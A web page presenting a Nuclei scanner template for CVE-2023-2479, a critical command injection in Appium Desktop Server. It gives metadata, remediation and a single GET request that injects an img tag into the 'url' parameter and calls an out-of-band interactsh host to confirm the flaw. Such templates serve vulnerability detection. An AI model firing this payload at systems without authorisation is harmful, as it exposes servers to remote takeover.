CVE-2023-2479: Appium Desktop Server - Remote Code Execution

2025-08-01 Appium Desktop Server PoC Public

Description

OS Command Injection in GitHub repository appium/appium-desktop prior to v1.22.3-4.

PoC

id: CVE-2023-2479

info:
  name: Appium Desktop Server - Remote Code Execution
  author: zn9988
  severity: critical
  description: |
    OS Command Injection in GitHub repository appium/appium-desktop prior to v1.22.3-4.
  impact: |
    Unauthenticated attackers can exploit OS command injection through the url parameter to execute arbitrary system commands and completely compromise Appium Desktop Server installations.
  remediation: Fixed in v1.22.3-4
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2479
    - https://huntr.dev/bounties/fbdeec3c-d197-4a68-a547-7f93fb9594b4/
    - https://github.com/appium/appium-desktop/commit/12a988aa08b9822e97056a09486c9bebb3aad8fe
    - https://github.com/Marco-zcl/POC
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2479
    cwe-id: CWE-78
    epss-score: 0.22014
    epss-percentile: 0.97538
    cpe: cpe:2.3:a:appium:appium-desktop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: appium
    product: appium-desktop
  tags: cve2023,cve,huntr,appium,oast,rce,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?url=<img/src="http://{{interactsh-url}}">'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'The requested resource could not be found, or a request was received using an HTTP method that is not supported by the mapped resource'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: status
        status:
          - 404
# digest: 4b0a004830460221009626918463d254f4b0e9e7be1f5784016ac36d26c5e1b67f5d07a46007c006ce02210094525097e03a19dfe214a17ce69812b54ab12bf9818924df2b877d272f6b64db:922c64590222798bb761d5b6d8e72950

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